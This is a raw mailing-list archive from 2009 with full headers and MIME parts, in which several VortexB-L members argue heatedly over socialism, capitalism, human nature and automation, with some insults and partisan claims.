HV0Nba5MpbZFiV1mhHClfzzOUt8RQhspO65wHga0pHNxlKfYpWJV7pE4Q6SezMVXdAr9 L+ZctRTV8GeDQt8kE4JUSQrVl4xJDUXM4NYyQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=KigS2/Clf2FsQcEsZkRmqXQ7akIWsH55hCtCKvCBwcrQZIF/jD6/KfQOUKXVQMSIUn 4wTxUXhGg2n3vQYBCVHu9lYwNodxiv8OFyjMEavzR5C33hN2+oeWNyswiS4mleKmT0ru cTThnhIoPe2GLO+FWP2NRKXNsE1NQcHFEhPKU= MIME-Version: 1.0 In-Reply-To: <33BEBAF830E04AC88800196902DB76A9@REVTEC1> References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> Date: Sun, 24 May 2009 21:39:13 -0400 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: Jed Rothwell To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e644d02c73d125046ab2ad2d Resent-Message-ID: <7j1Y7B.A.9DD.CbfGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4143 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 385 --0016e644d02c73d125046ab2ad2d Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Jeff Fink wrote: > Can you give us an example of a nation where socialism/Marxism/communism > did not degrade into Stalinism, Maoism, Pol Potism, etc? Sweden. The suggestion that socialism always ends up as a form of tyranny seems like the suggestion that capitalism must unavoidably end up by enslaving workers and destroying itself with gigantic monopolies (Marx's theory). Things do not always go to extremes. In any case, capitalism and socialism are both based on the exchange of labor for wages. They can only work when most ordinary people have skills with some value in the marketplace. In the not too distant future, computers and robots will be able to do practically all jobs now done by people at a far lower cost, including so-called skilled jobs such as surgery, farming and flying aircraft. Most people will then have no marketable skills, and both capitalism and socialism will become unworkable. We will have to come up with some other economic system. Essentially, we will have to give away most of the goods and services produced by our technology. - Jed --0016e644d02c73d125046ab2ad2d Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Jeff Fink wrote:
=A0
Can you give us an example of a= nation where socialism/Marxism/communism did not degrade into Stalinism, M= aoism, Pol Potism, etc?

Sweden.

The suggestion that socialism always ends up as a f= orm of tyranny seems like the suggestion that capitalism must unavoidably e= nd up by enslaving workers and destroying itself with gigantic monopolies (= Marx's theory). Things do not always go to extremes.

In any case, capitalism and socialism are both based on the exchange of= labor for wages. They can only work when most ordinary people have skills = with some value in the marketplace. In the not too distant future, computer= s and robots will be able to do practically all jobs now done by people at = a far lower cost, including so-called skilled jobs such as surgery, farming= and flying aircraft. Most people will then have no marketable skills, and = both capitalism and socialism will become unworkable. We will have to come = up with some other economic system. Essentially, we will have to give away = most of the goods and services produced by our technology.

- Jed

--0016e644d02c73d125046ab2ad2d-- From vortexb-l-request@eskimo.com Sun May 24 19:26:37 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P2QZrQ023173; Sun, 24 May 2009 19:26:35 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P2QYwV023162; Sun, 24 May 2009 19:26:34 -0700 Resent-Date: Sun, 24 May 2009 19:26:34 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 22:26:29 -0400 Message-ID: <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnczfCdxR3JhhB3RKamUhMHBxoa8wACTCXQ In-Reply-To: <20090525001439.GH30161@shell.resist.ca> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4144 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 386 -----Original Message----- From: grok [mailto:grok@resist.ca]=20 Sent: Sunday, May 24, 2009 8:15 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > Grok, >=20 > Can you give us an example of a nation where = socialism/Marxism/communism did > not degrade into Stalinism, Maoism, Pol Potism, etc? >=20 > Jeff No I can't. But what does that MEAN, really..? It could mean a whole lot, like repeating the same mistakes and = expecting different results! If I'm trying to build a village, say -- but a horde of arsonists comes running over the hill every so often and burns everything to the ground -- does this = mean that my 'theory of villages' is wrong/outdated/deluded/superceded/etc..? No it doesn't. And in fact, the capitalists are expert at taking things out of context -- = most especially themselves and their criminal activities in the World. Such = as their r=F4le in PRODUCING the "failure=A8 of all previous and present attempts at = 'building socialism'. Why are you trying to put the blame somewhere else? Marxism doesn't degenerate because of outside forces, it degenerates = from inside forces (way inside). I contend that Marxism can only work if the people will continually put the needs of others ahead of their own = needs, but we humans just can't seem to sustain that attitude for any length of time. The reason socialism/communism corrupts itself is that human = nature is not basically good, but basically evil. The world has seen too many People's Democratic Republic of this or = that. The people have no say in how these countries are run, and if they speak = out they get prison or worse. There is no democracy when there is only one = name on the ballot, and you vote yes or no (and it had better be yes). These places turn into hell holes with the worst abuse and suffering on the planet. This system promotes the worst of human nature with a ruling = class that commands absolute life and death power. Only the rulers and the = elite party members have a relatively descent life. The rest of the = population is under bondage to serve them. These are the countries that have fences = to keep their citizens from escaping. Let's get real. Human nature is basically evil. We are selfish. Even = when we occasionally do good deeds, it is because we covet that warm fuzzy feeling. It is difficult to invent a system that runs well on = selfishness, but selfishness has a close relative called self interest, and that we = can possibly work with. We need to trick human nature into achieving common good by pursuing self interest, and that is what the free = enterprise/free market system does. Is it perfect? No! Is it good? Well, it's the = best the human race has to work with. USA does it best, and that is why we = need fences and laws to keep people out. Nevertheless, we have absorbed more immigrants than any nation in history. Life is better here than in the places you espouse. I repeat the paragraph I wrote from a previous post and your response: The free market is based on entrepreneurship where a person recognizes=20 > a need, and with initiative, works out a way to fill that need at a=20 > cost that is less than what the potential customer is willing to pay. = > He then puts his time, his money, and his reputation at risk to=20 > implement his plan, and if he figured correctly he will generate an=20 > income that will support his family with money to spare. The excess=20 > money will allow him to expand his business and hire employees. If he = > grows his business big enough, I suppose, he earns the right to be = called a capitalist. And youse people accuse communists of being full of brainwashing and propagandistic ideology.. I am not spouting propaganda. I look around me and this is what I = observe, from the local hardware store to the barber shop. You can't see it = where you live? Jeff From vortexb-l-request@eskimo.com Sun May 24 20:07:08 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P375j4003487; Sun, 24 May 2009 20:07:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P375B6003478; Sun, 24 May 2009 20:07:05 -0700 Resent-Date: Sun, 24 May 2009 20:07:05 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 20:06:55 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090525030655.GJ15548@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: TRW, hostage, Assembly of Experts, LABLINK, SA-10d User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4145 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 387 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > Jeff Fink wrote: > > > > Can you give us an example of a nation where socialism/Marxism/communism > > did not degrade into Stalinism, Maoism, Pol Potism, etc? > > > Sweden. That's not socialism. That's *social-democracy* -- i.e. capitalist reformism: capitalism with a human face -- quite another kettle of fish. And I've already pointed this out elsewhere. 'What's in a name', huh..? > The suggestion that socialism always ends up as a form of tyranny seems like > the suggestion that capitalism must unavoidably end up by enslaving workers > and destroying itself with gigantic monopolies (Marx's theory). Things do > not always go to extremes. This is a false comparison. And I've already stated as well that, while socialism is not inherently repressive -- far from it; the exact opposite, in fact: which is why stalinism is not socialism either -- capitalism *is* innately an exploitative system which WILL *always* exploit workers to the hilt. All things being equal -- which they weren't too much while the Soviet Union was still around, as an inspiration to the World's workers and peasants. But now that's all changed. > In any case, capitalism and socialism are both based on the exchange of > labor for wages. Socialism is a transitional phase of human society, which will transform itself into wageless communist society after a certain period of time. My guess is that this would only take 2 generations or so. Less, in some areas of the World. So wage labor would be phased out during this period. You're still thinking about svenska social-democracy. > They can only work when most ordinary people have skills with some value in the > marketplace. It is in the very nature of capitalism that is strives to DE-SKILL *all* categories of labor, in order to drive down labor costs. > In the not too distant future, computers and robots will be able to do > practically all jobs now done by people at a far lower cost, including so-called > skilled jobs such as surgery, farming and flying aircraft. Most people will then > have no marketable skills, and both capitalism and socialism will become > unworkable. But you see: like I keep saying, *only capitalism* is necessarily based on the exploitation of waged labor. And so it is only capitalism which is screwing itself over with "innovation". Which leads to Marx' point about the 'organic composition of capital' -- and how this invariably rises over time. Along with the rate of profit going down over this very dilemma, of course. > We will have to come up with some other economic system. Essentially, > we will have to give away most of the goods and services produced by our > technology. > > - Jed We have the proper system all figgered out, fella. It's called "communism". And it doesn't really matter what you think about it now, either: it's gonna happen. Or we'll have BARBARISM instead. Your choice. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoaC08ACgkQXo3EtEYbt3EPmQCg1Q1P1VP8FE01vuebTFZKXjjV CpcAoMVEPITAmKF+hJLqSFear+V5QvX0 =Rd9N -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 20:31:03 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P3V0c5008756; Sun, 24 May 2009 20:31:00 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P3UxiS008746; Sun, 24 May 2009 20:30:59 -0700 Resent-Date: Sun, 24 May 2009 20:30:59 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 20:30:54 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090525033054.GL15548@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: TRW, hostage, Assembly of Experts, LABLINK, SA-10d User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4146 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 388 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > > Can you give us an example of a nation where socialism/Marxism/communism did not > > degrade into Stalinism, Maoism, Pol Potism, etc? > > > > Jeff > > No I can't. But what does that MEAN, really..? > > It could mean a whole lot, like repeating the same mistakes and expecting different > results! Some socialists don't learn from their mistakes. The best do -- and future success is only possible from the latter crew, of course. > If I'm trying to build a village, say -- but a horde of arsonists comes running > over the hill every so often and burns everything to the ground -- does this mean > that my 'theory of villages' is wrong/outdated/deluded/superceded/etc..? No it > doesn't. And in fact, the capitalists are expert at taking things out of context -- > most especially themselves and their criminal activities in the World. Such as > their rôle in PRODUCING the "failure¨ of all previous and present attempts at > 'building socialism'. > > Why are you trying to put the blame somewhere else? Why are you trying to avoid laying blame where blame is due? Amazing how people don't want to learn from their mistakes... > Marxism doesn't degenerate because of outside forces, it degenerates from inside > forces (way inside). No, that is completely not true, and a falsification of history. > I contend that Marxism can only work if the people will continually put the needs > of others ahead of their own needs, but we humans just can't seem to sustain that > attitude for any length of time. The reason socialism/communism corrupts itself is > that human nature is not basically good, but basically evil. What you contend is PURE BUNKUM and BALDERDASH, Sirrah. All of human history is the story of co-operation alongside any strife. And it's not about personality as much as it is about the level of material wealth, too. > The world has seen too many People's Democratic Republic of this or that. In fact, the World is sick of CAPITALISM, Chum. > The people have no say in how these countries are run, and if they speak out > they get prison or worse. And that is different -- how -- in capitalist societies..?? STILL you people refuse to understand what stalinism is. And to the extent that you refuse to understand that - -- to this extent we are going to argue and YOU are going to remain clueless. > There is no democracy when there is only one name on the ballot, and you vote yes > or no (and it had better be yes). And that is different -- how -- in this *GAMED* capitalist system..?? Fuck, you are BLIND, man. > These places turn into hell holes with the worst abuse and suffering on the planet. > This system promotes the worst of human nature with a ruling class that commands > absolute life and death power. Only the rulers and the elite party members have a > relatively descent life. The rest of the population is under bondage to serve > them. These are the countries that have fences to keep their citizens from > escaping. Just spewing your ignorance all over me like some know-nothing peckerwood... When you're ready to actually LEARN and UNDERSTAND something about Reality, fella -- do call on me, yu'HEER?? > Let's get real. Human nature is basically evil. We are selfish. Even when > we occasionally do good deeds, it is because we covet that warm fuzzy > feeling. Proving nothing so much as that you are clueless indeed about Humanity and Reality. So you say you are a scientist, do you..? > It is difficult to invent a system that runs well on selfishness, > but selfishness has a close relative called self interest, and that we can > possibly work with. We need to trick human nature into achieving common > good by pursuing self interest, and that is what the free enterprise/free > market system does. Is it perfect? No! Is it good? Well, it's the best > the human race has to work with. USA does it best, and that is why we need > fences and laws to keep people out. Nevertheless, we have absorbed more > immigrants than any nation in history. Life is better here than in the > places you espouse. What a squalid, wretched Worldview. A perfect product of the capitalist system YOU are, me Boyo. I think you need to go to church. Denial is certainly In Da House. > I repeat the paragraph I wrote from a previous post and your response: > > The free market is based on entrepreneurship where a person recognizes > > a need, and with initiative, works out a way to fill that need at a > > cost that is less than what the potential customer is willing to pay. > > He then puts his time, his money, and his reputation at risk to > > implement his plan, and if he figured correctly he will generate an > > income that will support his family with money to spare. The excess > > money will allow him to expand his business and hire employees. If he > > grows his business big enough, I suppose, he earns the right to be called > a capitalist. > > And youse people accuse communists of being full of brainwashing and > propagandistic ideology.. > > > I am not spouting propaganda. I look around me and this is what I observe, > from the local hardware store to the barber shop. You can't see it where > you live? > > Jeff You're spouting propaganda. Must be because you wear blinkers around your rose-colored glasses -- which are wired-into 24-Hour Headline CableTV Nooze. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoaEO4ACgkQXo3EtEYbt3HxaACgk4/e0Rgur+z6cplEjh3wNOOo sTEAn2O4vm3q/h4uTlnYaKfSz/m4DPXq =Gv0b -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 20:38:12 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P3c9JF010148; Sun, 24 May 2009 20:38:09 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P3c8U9010136; Sun, 24 May 2009 20:38:08 -0700 Resent-Date: Sun, 24 May 2009 20:38:08 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=0CxLNyYabYzkfcDMvXd5WlSiYr+UdcVkuPkKx3fd5c4=; b=U2xFs6kMpgytKf/HzS4BSH0g/AASOvLD2J2u37QIXI7E3vWlpAjojYu3p6u6xEMQFE BjCkPhfpLaK1WsXurX9zUSH1P8t9pB2LJdj8GbTW4fYlE3tBaG3/opSTqSYi/3QZrU5C SquTgsGaSvDZ4LNgvY33/vJkR/5oyPDR0nvHs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=AWQXH/yol6ps6h/2cBXwntK2eFrGroN8+LIl0APEkNmoGqm82enMCu8J/EZEPEgVjl XeDW/8RIqnRBN3gIvYk4R5pBIiitQEi2vgOiHhg0kMiYAVwNvlMEt8Mr1wzZnMnzfqeK La3jSR/jp6rxmpkLZ7uaSjp2UyuGVMQvAirtI= MIME-Version: 1.0 In-Reply-To: <20090525033054.GL15548@shell.resist.ca> References: <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> <20090525033054.GL15548@shell.resist.ca> From: Charles HOPE Date: Sun, 24 May 2009 23:37:47 -0400 Message-ID: <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b0eea55c19046ab45673 Resent-Message-ID: <5xCq_B.A.SeC.gKhGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4147 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 389 --001636c5b0eea55c19046ab45673 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I guess the point is that, whenever Capitalism has been completely abolished, the society immediately degenerates into barbarism of an incredibly genocidal lethality. Why is socialism so weak, why aren't these liberated workers able to prevent their states from immediately being taken over by thugs that set about slaughtering millions? On Sun, May 24, 2009 at 11:30 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Jeff Fink > mounted the barricade and roared out: > > > > Can you give us an example of a nation where > socialism/Marxism/communism did not > > > degrade into Stalinism, Maoism, Pol Potism, etc? > > > > > > Jeff > > > > No I can't. But what does that MEAN, really..? > > > > It could mean a whole lot, like repeating the same mistakes and expecti= ng > different > > results! > > Some socialists don't learn from their mistakes. The best do -- and futur= e > success is > only possible from the latter crew, of course. > > > > > > > If I'm trying to build a village, say -- but a horde of arsonists comes > running > > over the hill every so often and burns everything to the ground -- does > this mean > > that my 'theory of villages' is wrong/outdated/deluded/superceded/etc..= ? > No it > > doesn't. And in fact, the capitalists are expert at taking things out o= f > context -- > > most especially themselves and their criminal activities in the World. > Such as > > their r=F4le in PRODUCING the "failure=A8 of all previous and present > attempts at > > 'building socialism'. > > > > Why are you trying to put the blame somewhere else? > > Why are you trying to avoid laying blame where blame is due? > > Amazing how people don't want to learn from their mistakes... > > > > > > > Marxism doesn't degenerate because of outside forces, it degenerates fr= om > inside > > forces (way inside). > > No, that is completely not true, and a falsification of history. > > > > > I contend that Marxism can only work if the people will continually put > the needs > > of others ahead of their own needs, but we humans just can't seem to > sustain that > > attitude for any length of time. The reason socialism/communism corrup= ts > itself is > > that human nature is not basically good, but basically evil. > > What you contend is PURE BUNKUM and BALDERDASH, Sirrah. All of human > history is the > story of co-operation alongside any strife. And it's not about personalit= y > as much as > it is about the level of material wealth, too. > > > > > > > The world has seen too many People's Democratic Republic of this or tha= t. > > In fact, the World is sick of CAPITALISM, Chum. > > > > > The people have no say in how these countries are run, and if they spea= k > out > > they get prison or worse. > > And that is different -- how -- in capitalist societies..?? STILL you > people refuse > to understand what stalinism is. And to the extent that you refuse to > understand that > - -- to this extent we are going to argue and YOU are going to remain > clueless. > > > > > > There is no democracy when there is only one name on the ballot, and yo= u > vote yes > > or no (and it had better be yes). > > And that is different -- how -- in this *GAMED* capitalist system..?? > Fuck, you are BLIND, man. > > > > > > > These places turn into hell holes with the worst abuse and suffering on > the planet. > > This system promotes the worst of human nature with a ruling class that > commands > > absolute life and death power. Only the rulers and the elite party > members have a > > relatively descent life. The rest of the population is under bondage t= o > serve > > them. These are the countries that have fences to keep their citizens > from > > escaping. > > Just spewing your ignorance all over me like some know-nothing > peckerwood... When > you're ready to actually LEARN and UNDERSTAND something about Reality, > fella -- do > call on me, yu'HEER?? > > > > > > > Let's get real. Human nature is basically evil. We are selfish. Even > when > > we occasionally do good deeds, it is because we covet that warm fuzzy > > feeling. > > Proving nothing so much as that you are clueless indeed about Humanity an= d > Reality. > So you say you are a scientist, do you..? > > > > > > > It is difficult to invent a system that runs well on selfishness, > > but selfishness has a close relative called self interest, and that we > can > > possibly work with. We need to trick human nature into achieving commo= n > > good by pursuing self interest, and that is what the free enterprise/fr= ee > > market system does. Is it perfect? No! Is it good? Well, it's the be= st > > the human race has to work with. USA does it best, and that is why we > need > > fences and laws to keep people out. Nevertheless, we have absorbed mor= e > > immigrants than any nation in history. Life is better here than in the > > places you espouse. > > What a squalid, wretched Worldview. A perfect product of the capitalist > system YOU > are, me Boyo. I think you need to go to church. Denial is certainly In Da > House. > > > > > > > I repeat the paragraph I wrote from a previous post and your response: > > > > The free market is based on entrepreneurship where a person recognizes > > > a need, and with initiative, works out a way to fill that need at a > > > cost that is less than what the potential customer is willing to pay. > > > He then puts his time, his money, and his reputation at risk to > > > implement his plan, and if he figured correctly he will generate an > > > income that will support his family with money to spare. The excess > > > money will allow him to expand his business and hire employees. If h= e > > > grows his business big enough, I suppose, he earns the right to be > called > > a capitalist. > > > > And youse people accuse communists of being full of brainwashing and > > propagandistic ideology.. > > > > > > I am not spouting propaganda. I look around me and this is what I > observe, > > from the local hardware store to the barber shop. You can't see it whe= re > > you live? > > > > Jeff > > You're spouting propaganda. Must be because you wear blinkers around your > rose-colored glasses -- which are wired-into 24-Hour Headline CableTV > Nooze. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoaEO4ACgkQXo3EtEYbt3HxaACgk4/e0Rgur+z6cplEjh3wNOOo > sTEAn2O4vm3q/h4uTlnYaKfSz/m4DPXq > =3DGv0b > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b0eea55c19046ab45673 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I guess the point is that, whenever Capitalism has been completely abolishe= d, the society immediately degenerates into barbarism of an incredibly geno= cidal lethality. Why is socialism so weak, why aren't these liberated w= orkers able to prevent their states from immediately being taken over by th= ugs that set about slaughtering millions?



On Sun, May 24, 2009 at 11:30 PM, gr= ok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Jeff Fink <revte= c@ptd.net>
mounted the barricade and roared out:

> > Can you give us an example of a nation wh= ere socialism/Marxism/communism did not
> > degrade into Stalinism, Maoism, Pol Potism, etc?
> >
> > Jeff
>
> No I can't. But what does that MEAN, really..?
>
> It could mean a whole lot, like repeating the same mistakes and expect= ing different
> results!

Some socialists don't learn from their mistakes. The best do -- a= nd future success is
only possible from the latter crew, of course.





> If I'm trying to build a village, say -- but a horde of arsonists = comes running
> over the hill every so often and burns everything to the ground -- doe= s this mean
> that my 'theory of villages' is wrong/outdated/deluded/superce= ded/etc..? No it
> doesn't. And in fact, the capitalists are expert at taking things = out of context --
> most especially themselves and their criminal activities in the World.= Such as
> their r=F4le in PRODUCING the "failure=A8 of all previous and pre= sent attempts at
> 'building socialism'.
>
> Why are you trying to put the blame somewhere else?

Why are you trying to avoid laying blame where blame is due?

Amazing how people don't want to learn from their mistakes...





> Marxism doesn't degenerate because of outside forces, it degenerat= es from inside
> forces (way inside).

No, that is completely not true, and a falsification of history.



> I contend that Marxism can only work if the people will continually pu= t the needs
> of others ahead of their own needs, but we humans just can't seem = to sustain that
> attitude for any length of time. =A0The reason socialism/communism cor= rupts itself is
> that human nature is not basically good, but basically evil.

What you contend is PURE BUNKUM and BALDERDASH, Sirrah. All of human = history is the
story of co-operation alongside any strife. And it's not about personal= ity as much as
it is about the level of material wealth, too.





> The world has seen too many People's Democratic Republic of this o= r that.

In fact, the World is sick of CAPITALISM, Chum.



> The people have no say in how these countries are run, and if they spe= ak out
> they get prison or worse.

And that is different -- how -- in capitalist societies..?? STILL you= people refuse
to understand what stalinism is. And to the extent that you refuse to under= stand that
- -- to this extent we are going to argue and YOU are going to remain cluel= ess.




> There is no democracy when there is only one name on the ballot, and y= ou vote yes
> or no (and it had better be yes).

And that is different -- how -- in this *GAMED* capitalist system..??=
Fuck, you are BLIND, man.





> These places turn into hell holes with the worst abuse and suffering o= n the planet.
> This system promotes the worst of human nature with a ruling class tha= t commands
> absolute life and death power. =A0Only the rulers and the elite party = members have a
> relatively descent life. =A0The rest of the population is under bondag= e to serve
> them. =A0These are the countries that have fences to keep their citize= ns from
> escaping.

Just spewing your ignorance all over me like some know-nothing pecker= wood... When
you're ready to actually LEARN and UNDERSTAND something about Reality, = fella -- do
call on me, yu'HEER??





> Let's get real. =A0Human nature is basically evil. =A0We are selfi= sh. =A0Even when
> we occasionally do good deeds, it is because we covet that warm fuzzy<= br> > feeling.

Proving nothing so much as that you are clueless indeed about Humanit= y and Reality.
So you say you are a scientist, do you..?





> It is difficult to invent a system that runs well on selfishness,
> but selfishness has a close relative called self interest, and that we= can
> possibly work with. =A0We need to trick human nature into achieving co= mmon
> good by pursuing self interest, and that is what the free enterprise/f= ree
> market system does. =A0Is it perfect? =A0No! Is it good? =A0Well, it&#= 39;s the best
> the human race has to work with. =A0USA does it best, and that is why = we need
> fences and laws to keep people out. =A0Nevertheless, we have absorbed = more
> immigrants than any nation in history. =A0Life is better here than in = the
> places you espouse.

What a squalid, wretched Worldview. A perfect product of the capitali= st system YOU
are, me Boyo. I think you need to go to church. Denial is certainly In Da H= ouse.





> I repeat the paragraph I wrote from a previous post and your response:=
>
> The free market is based on entrepreneurship where a person recognizes=
> > a need, and with initiative, works out a way to fill that need at= a
> > cost that is less than what the potential customer is willing to = pay.
> > He then puts his time, his money, and his reputation at risk to > > implement his plan, and if he figured correctly he will generate = an
> > income that will support his family with money to spare. =A0The e= xcess
> > money will allow him to expand his business and hire employees. = =A0If he
> > grows his business big enough, I suppose, he earns the right to b= e called
> a capitalist.
>
> And youse people accuse communists of being full of brainwashing and > propagandistic ideology..
>
